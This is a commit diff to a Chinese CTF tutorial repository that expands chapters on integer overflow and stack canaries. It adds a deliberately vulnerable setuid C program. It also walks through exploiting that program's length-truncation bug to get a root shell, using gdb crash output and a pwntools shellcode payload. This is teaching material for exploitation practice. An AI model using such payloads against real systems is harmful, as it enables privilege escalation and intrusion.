mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-25 11:41:16 +07:00
Merge branch 'master' of https://github.com/firmianay/CTF-All-In-One
This commit is contained in:
commit
5c26ec0b2c
@ -3,7 +3,7 @@
|
||||
- [什么是整数溢出](#什么是整数溢出)
|
||||
- [整数溢出](#整数溢出)
|
||||
- [整数溢出示例](#整数溢出示例)
|
||||
- [CTF 中的整数溢出](#CTF-中的整数溢出)
|
||||
- [CTF 中的整数溢出](#ctf-中的整数溢出)
|
||||
|
||||
|
||||
## 什么是整数溢出
|
||||
@ -17,7 +17,18 @@
|
||||
|
||||
|
||||
## 整数溢出
|
||||
#### 有符号整数上溢出
|
||||
关于整数的异常情况主要有三种:
|
||||
- 溢出
|
||||
- 只有有符号数才会发生溢出。有符号数最高位表示符号,在两正或两负相加时,有可能改变符号位的值,产生溢出
|
||||
- 溢出标志 `OF` 可检测有符号数的溢出
|
||||
- 回绕
|
||||
- 无符号数 `0-1` 时会变成最大的数,如 1 字节的无符号数会变为 `255`,而 `255+1` 会变成最小数 `0`。
|
||||
- 进位标志 `CF` 可检测无符号数的回绕
|
||||
- 截断
|
||||
- 将一个较大宽度的数存入一个宽度小的操作数中,高位发生截断
|
||||
|
||||
#### 有符号整数溢出
|
||||
- 上溢出
|
||||
```c
|
||||
int i;
|
||||
i = INT_MAX; // 2 147 483 647
|
||||
@ -25,23 +36,38 @@ i++;
|
||||
printf("i = %d\n", i); // i = -2 147 483 648
|
||||
```
|
||||
|
||||
#### 有符号整数下溢出
|
||||
- 下溢出
|
||||
```c
|
||||
i = INT_MIN; // -2 147 483 648
|
||||
i--;
|
||||
printf("i = %d\n", i); // i = 2 147 483 647
|
||||
```
|
||||
|
||||
#### 无符号数截断
|
||||
涉及无符号数的计算永远不会溢出,如果计算结果无法用无符号数表示,就会发生截断。
|
||||
#### 无符号数回绕
|
||||
涉及无符号数的计算永远不会溢出,因为不能用结果为无符号整数表示的结果值被该类型可以表示的最大值加 1 之和取模减(reduced modulo)。因为回绕,一个无符号整数表达式永远无法求出小于零的值。
|
||||
|
||||
加法截断:
|
||||
使用下图直观地理解回绕,在轮上按顺时针方向将值递增产生的值紧挨着它:
|
||||
|
||||
![](../pic/1.5.1_unsigned_integer.png)
|
||||
|
||||
```c
|
||||
unsigned int ui;
|
||||
ui = UINT_MAX; // 在 x86-32 上为 4 294 967 295
|
||||
ui++;
|
||||
printf("ui = %u\n", ui); // ui = 0
|
||||
ui = 0;
|
||||
ui--;
|
||||
printf("ui = %u\n", ui); // 在 x86-32 上,ui = 4 294 967 295
|
||||
```
|
||||
|
||||
#### 截断
|
||||
- 加法截断:
|
||||
```text
|
||||
0xffffffff + 0x00000001
|
||||
= 0x0000000100000000 (long long)
|
||||
= 0x00000000 (long)
|
||||
```
|
||||
乘法截断:
|
||||
- 乘法截断:
|
||||
```text
|
||||
0x00123456 * 0x00654321
|
||||
= 0x000007336BF94116 (long long)
|
||||
@ -199,10 +225,11 @@ void vulnerable() {
|
||||
```
|
||||
这个例子的问题在于,如果攻击者给 `len` 赋于了一个负数,则可以绕过 `if` 语句的检测,而执行到 `memcpy()` 的时候,由于第三个参数是 `size_t` 类型,负数 `len` 会被转换为一个无符号整型,它可能是一个非常大的正数,从而复制了大量的内容到 `buf` 中,引发了缓冲区溢出。
|
||||
|
||||
示例二,溢出:
|
||||
```
|
||||
示例二,回绕和溢出:
|
||||
```c
|
||||
void vulnerable() {
|
||||
size_t len;
|
||||
// int len;
|
||||
char* buf;
|
||||
|
||||
len = read_int_from_network();
|
||||
@ -211,7 +238,7 @@ void vulnerable() {
|
||||
...
|
||||
}
|
||||
```
|
||||
这个例子看似避开了缓冲区溢出的问题,但是如果 `len` 过大,`len+5` 有可能发生溢出。比如说,在 x86-32 上,如果 `len = 0xFFFFFFFF`,则 `len+5 = 0x00000004`,这时 `malloc()` 只分配了 4 字节的内存区域,然后在里面写入大量的数据,缓冲区溢出也就发生了。
|
||||
这个例子看似避开了缓冲区溢出的问题,但是如果 `len` 过大,`len+5` 有可能发生回绕。比如说,在 x86-32 上,如果 `len = 0xFFFFFFFF`,则 `len+5 = 0x00000004`,这时 `malloc()` 只分配了 4 字节的内存区域,然后在里面写入大量的数据,缓冲区溢出也就发生了。(如果将 `len` 声明为有符号 `int` 类型,`len+5` 可能发生溢出)
|
||||
|
||||
示例三,截断:
|
||||
```
|
||||
@ -227,7 +254,128 @@ void main(int argc, char *argv[]) {
|
||||
这个例子接受两个字符串类型的参数并计算它们的总长度,程序分配足够的内存来存储拼接后的字符串。首先将第一个字符串参数复制到缓冲区中,然后将第二个参数连接到尾部。如果攻击者提供的两个字符串总长度无法用 `total` 表示,则会发生截断,从而导致后面的缓冲区溢出。
|
||||
|
||||
#### 实战
|
||||
看了上面的示例,我们来真正利用一个整数溢出漏洞。
|
||||
看了上面的示例,我们来真正利用一个整数溢出漏洞。[源码](../src/Other/3.3.2_integer.c)
|
||||
```c
|
||||
#include<stdio.h>
|
||||
#include<string.h>
|
||||
void validate_passwd(char *passwd) {
|
||||
char passwd_buf[11];
|
||||
unsigned char passwd_len = strlen(passwd);
|
||||
if(passwd_len >= 4 && passwd_len <= 8) {
|
||||
printf("good!\n");
|
||||
strcpy(passwd_buf, passwd);
|
||||
} else {
|
||||
printf("bad!\n");
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
if(argc != 2) {
|
||||
printf("error\n");
|
||||
return 0;
|
||||
}
|
||||
validate_passwd(argv[1]);
|
||||
}
|
||||
```
|
||||
上面的程序中 `strlen()` 返回类型是 `size_t`,却被存储在无符号字符串类型中,任意超过无符号字符串最大上限值(256 字节)的数据都会导致截断异常。当密码长度为 261 时,截断后值变为 5,成功绕过了 `if` 的判断,导致栈溢出。下面我们利用溢出漏洞来获得 shell。
|
||||
|
||||
编译命令:
|
||||
```text
|
||||
# echo 0 > /proc/sys/kernel/randomize_va_space
|
||||
$ gcc -g -fno-stack-protector -z execstack vuln.c
|
||||
$ sudo chown root vuln
|
||||
$ sudo chgrp root vuln
|
||||
$ sudo chmod +s vuln
|
||||
```
|
||||
使用 gdb 反汇编 `validate_passwd` 函数。
|
||||
```text
|
||||
gdb-peda$ disassemble validate_passwd
|
||||
Dump of assembler code for function validate_passwd:
|
||||
0x0000059d <+0>: push ebp ; 压入 ebp
|
||||
0x0000059e <+1>: mov ebp,esp
|
||||
0x000005a0 <+3>: push ebx ; 压入 ebx
|
||||
0x000005a1 <+4>: sub esp,0x14
|
||||
0x000005a4 <+7>: call 0x4a0 <__x86.get_pc_thunk.bx>
|
||||
0x000005a9 <+12>: add ebx,0x1a57
|
||||
0x000005af <+18>: sub esp,0xc
|
||||
0x000005b2 <+21>: push DWORD PTR [ebp+0x8]
|
||||
0x000005b5 <+24>: call 0x430 <strlen@plt>
|
||||
0x000005ba <+29>: add esp,0x10
|
||||
0x000005bd <+32>: mov BYTE PTR [ebp-0x9],al ; 将 len 存入 [ebp-0x9]
|
||||
0x000005c0 <+35>: cmp BYTE PTR [ebp-0x9],0x3
|
||||
0x000005c4 <+39>: jbe 0x5f2 <validate_passwd+85>
|
||||
0x000005c6 <+41>: cmp BYTE PTR [ebp-0x9],0x8
|
||||
0x000005ca <+45>: ja 0x5f2 <validate_passwd+85>
|
||||
0x000005cc <+47>: sub esp,0xc
|
||||
0x000005cf <+50>: lea eax,[ebx-0x1910]
|
||||
0x000005d5 <+56>: push eax
|
||||
0x000005d6 <+57>: call 0x420 <puts@plt>
|
||||
0x000005db <+62>: add esp,0x10
|
||||
0x000005de <+65>: sub esp,0x8
|
||||
0x000005e1 <+68>: push DWORD PTR [ebp+0x8]
|
||||
0x000005e4 <+71>: lea eax,[ebp-0x14] ; 取 passwd_buf 地址
|
||||
0x000005e7 <+74>: push eax ; 压入 passwd_buf
|
||||
0x000005e8 <+75>: call 0x410 <strcpy@plt>
|
||||
0x000005ed <+80>: add esp,0x10
|
||||
0x000005f0 <+83>: jmp 0x604 <validate_passwd+103>
|
||||
0x000005f2 <+85>: sub esp,0xc
|
||||
0x000005f5 <+88>: lea eax,[ebx-0x190a]
|
||||
0x000005fb <+94>: push eax
|
||||
0x000005fc <+95>: call 0x420 <puts@plt>
|
||||
0x00000601 <+100>: add esp,0x10
|
||||
0x00000604 <+103>: nop
|
||||
0x00000605 <+104>: mov ebx,DWORD PTR [ebp-0x4]
|
||||
0x00000608 <+107>: leave
|
||||
0x00000609 <+108>: ret
|
||||
End of assembler dump.
|
||||
```
|
||||
通过阅读反汇编代码,我们知道缓冲区 `passwd_buf` 位于 `ebp=0x14` 的位置(`0x000005e4 <+71>: lea eax,[ebp-0x14]`),而返回地址在 `ebp+4` 的位置,所以返回地址相对于缓冲区 `0x18` 的位置。我们测试一下:
|
||||
```text
|
||||
gdb-peda$ r `python2 -c 'print "A"*24 + "B"*4 + "C"*233'`
|
||||
Starting program: /home/a.out `python2 -c 'print "A"*24 + "B"*4 + "C"*233'`
|
||||
good!
|
||||
|
||||
Program received signal SIGSEGV, Segmentation fault.
|
||||
[----------------------------------registers-----------------------------------]
|
||||
EAX: 0xffffd0f4 ('A' <repeats 24 times>, "BBBB", 'C' <repeats 172 times>...)
|
||||
EBX: 0x41414141 ('AAAA')
|
||||
ECX: 0xffffd490 --> 0x534c0043 ('C')
|
||||
EDX: 0xffffd1f8 --> 0xffff0043 --> 0x0
|
||||
ESI: 0xf7f95000 --> 0x1bbd90
|
||||
EDI: 0x0
|
||||
EBP: 0x41414141 ('AAAA')
|
||||
ESP: 0xffffd110 ('C' <repeats 200 times>...)
|
||||
EIP: 0x42424242 ('BBBB')
|
||||
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
|
||||
[-------------------------------------code-------------------------------------]
|
||||
Invalid $PC address: 0x42424242
|
||||
[------------------------------------stack-------------------------------------]
|
||||
0000| 0xffffd110 ('C' <repeats 200 times>...)
|
||||
0004| 0xffffd114 ('C' <repeats 200 times>...)
|
||||
0008| 0xffffd118 ('C' <repeats 200 times>...)
|
||||
0012| 0xffffd11c ('C' <repeats 200 times>...)
|
||||
0016| 0xffffd120 ('C' <repeats 200 times>...)
|
||||
0020| 0xffffd124 ('C' <repeats 200 times>...)
|
||||
0024| 0xffffd128 ('C' <repeats 200 times>...)
|
||||
0028| 0xffffd12c ('C' <repeats 200 times>...)
|
||||
[------------------------------------------------------------------------------]
|
||||
Legend: code, data, rodata, value
|
||||
Stopped reason: SIGSEGV
|
||||
0x42424242 in ?? ()
|
||||
```
|
||||
可以看到 `EIP` 被 `BBBB` 覆盖,相当于我们获得了返回地址的控制权。构建下面的 payload:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
ret_addr = 0xffffd118 # ebp = 0xffffd108
|
||||
shellcode = shellcraft.i386.sh()
|
||||
|
||||
payload = "A" * 24
|
||||
payload += p32(ret_addr)
|
||||
payload += "\x90" * 20
|
||||
payload += asm(shellcode)
|
||||
payload += "C" * 169 # 24 + 4 + 20 + 44 + 169 = 261
|
||||
```
|
||||
|
||||
|
||||
## CTF 中的整数溢出
|
||||
|
@ -11,6 +11,105 @@ Linux 中有各种各样的安全防护,其中 ASLR 是由内核直接提供
|
||||
#### CANARY
|
||||
启用 CANARY 后,函数开始执行的时候会先往栈里插入 canary 信息,当函数返回时验证插入的 canary 是否被修改,如果是,就停止运行。
|
||||
|
||||
下面是一个例子:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
void main(int argc, char **argv) {
|
||||
char buf[10];
|
||||
scanf("%s", buf);
|
||||
}
|
||||
```
|
||||
我们先开启 CANARY,来看看执行的结果:
|
||||
```text
|
||||
$ gcc -m32 -fstack-protector canary.c -o f.out
|
||||
$ python -c 'print("A"*20)' | ./f.out
|
||||
*** stack smashing detected ***: ./f.out terminated
|
||||
Segmentation fault (core dumped)
|
||||
```
|
||||
接下来关闭 CANARY:
|
||||
```text
|
||||
$ gcc -m32 -fno-stack-protector canary.c -o fno.out
|
||||
$ python -c 'print("A"*20)' | ./fno.out
|
||||
Segmentation fault (core dumped)
|
||||
```
|
||||
可以看到当开启 CANARY 的时候,提示检测到栈溢出和段错误,而关闭的时候,只有提示段错误。
|
||||
|
||||
下面对比一下反汇编代码上的差异:
|
||||
|
||||
开启 CANARY 时:
|
||||
```text
|
||||
gdb-peda$ disassemble main
|
||||
Dump of assembler code for function main:
|
||||
0x000005ad <+0>: lea ecx,[esp+0x4]
|
||||
0x000005b1 <+4>: and esp,0xfffffff0
|
||||
0x000005b4 <+7>: push DWORD PTR [ecx-0x4]
|
||||
0x000005b7 <+10>: push ebp
|
||||
0x000005b8 <+11>: mov ebp,esp
|
||||
0x000005ba <+13>: push ebx
|
||||
0x000005bb <+14>: push ecx
|
||||
0x000005bc <+15>: sub esp,0x20
|
||||
0x000005bf <+18>: call 0x611 <__x86.get_pc_thunk.ax>
|
||||
0x000005c4 <+23>: add eax,0x1a3c
|
||||
0x000005c9 <+28>: mov edx,ecx
|
||||
0x000005cb <+30>: mov edx,DWORD PTR [edx+0x4]
|
||||
0x000005ce <+33>: mov DWORD PTR [ebp-0x1c],edx
|
||||
0x000005d1 <+36>: mov ecx,DWORD PTR gs:0x14 ; 将 canary 值存入 ecx
|
||||
0x000005d8 <+43>: mov DWORD PTR [ebp-0xc],ecx ; 在栈 ebp-0xc 处插入 canary
|
||||
0x000005db <+46>: xor ecx,ecx
|
||||
0x000005dd <+48>: sub esp,0x8
|
||||
0x000005e0 <+51>: lea edx,[ebp-0x16]
|
||||
0x000005e3 <+54>: push edx
|
||||
0x000005e4 <+55>: lea edx,[eax-0x1940]
|
||||
0x000005ea <+61>: push edx
|
||||
0x000005eb <+62>: mov ebx,eax
|
||||
0x000005ed <+64>: call 0x450 <__isoc99_scanf@plt>
|
||||
0x000005f2 <+69>: add esp,0x10
|
||||
0x000005f5 <+72>: nop
|
||||
0x000005f6 <+73>: mov eax,DWORD PTR [ebp-0xc] ; 从栈中取出 canary
|
||||
0x000005f9 <+76>: xor eax,DWORD PTR gs:0x14 ; 检测 canary 值
|
||||
0x00000600 <+83>: je 0x607 <main+90>
|
||||
0x00000602 <+85>: call 0x690 <__stack_chk_fail_local>
|
||||
0x00000607 <+90>: lea esp,[ebp-0x8]
|
||||
0x0000060a <+93>: pop ecx
|
||||
0x0000060b <+94>: pop ebx
|
||||
0x0000060c <+95>: pop ebp
|
||||
0x0000060d <+96>: lea esp,[ecx-0x4]
|
||||
0x00000610 <+99>: ret
|
||||
End of assembler dump.
|
||||
```
|
||||
|
||||
关闭 CANARY 时:
|
||||
```text
|
||||
gdb-peda$ disassemble main
|
||||
Dump of assembler code for function main:
|
||||
0x0000055d <+0>: lea ecx,[esp+0x4]
|
||||
0x00000561 <+4>: and esp,0xfffffff0
|
||||
0x00000564 <+7>: push DWORD PTR [ecx-0x4]
|
||||
0x00000567 <+10>: push ebp
|
||||
0x00000568 <+11>: mov ebp,esp
|
||||
0x0000056a <+13>: push ebx
|
||||
0x0000056b <+14>: push ecx
|
||||
0x0000056c <+15>: sub esp,0x10
|
||||
0x0000056f <+18>: call 0x59c <__x86.get_pc_thunk.ax>
|
||||
0x00000574 <+23>: add eax,0x1a8c
|
||||
0x00000579 <+28>: sub esp,0x8
|
||||
0x0000057c <+31>: lea edx,[ebp-0x12]
|
||||
0x0000057f <+34>: push edx
|
||||
0x00000580 <+35>: lea edx,[eax-0x19e0]
|
||||
0x00000586 <+41>: push edx
|
||||
0x00000587 <+42>: mov ebx,eax
|
||||
0x00000589 <+44>: call 0x400 <__isoc99_scanf@plt>
|
||||
0x0000058e <+49>: add esp,0x10
|
||||
0x00000591 <+52>: nop
|
||||
0x00000592 <+53>: lea esp,[ebp-0x8]
|
||||
0x00000595 <+56>: pop ecx
|
||||
0x00000596 <+57>: pop ebx
|
||||
0x00000597 <+58>: pop ebp
|
||||
0x00000598 <+59>: lea esp,[ecx-0x4]
|
||||
0x0000059b <+62>: ret
|
||||
End of assembler dump.
|
||||
```
|
||||
|
||||
#### FORTIFY
|
||||
FORTIFY 的选项 `-D_FORTIFY_SOURCE` 往往和优化 `-O` 选项一起使用,以检测缓冲区溢出的问题。
|
||||
|
||||
|
20
src/Others/3.3.2_integer.c
Normal file
20
src/Others/3.3.2_integer.c
Normal file
@ -0,0 +1,20 @@
|
||||
#include<stdio.h>
|
||||
#include<string.h>
|
||||
void validate_passwd(char *passwd) {
|
||||
char passwd_buf[11];
|
||||
unsigned char passwd_len = strlen(passwd);
|
||||
if(passwd_len >= 4 && passwd_len <= 8) {
|
||||
printf("good!\n");
|
||||
strcpy(passwd_buf, passwd);
|
||||
} else {
|
||||
printf("bad!\n");
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
if(argc != 2) {
|
||||
printf("error\n");
|
||||
return 0;
|
||||
}
|
||||
validate_passwd(argv[1]);
|
||||
}
|
Loading…
Reference in New Issue
Block a user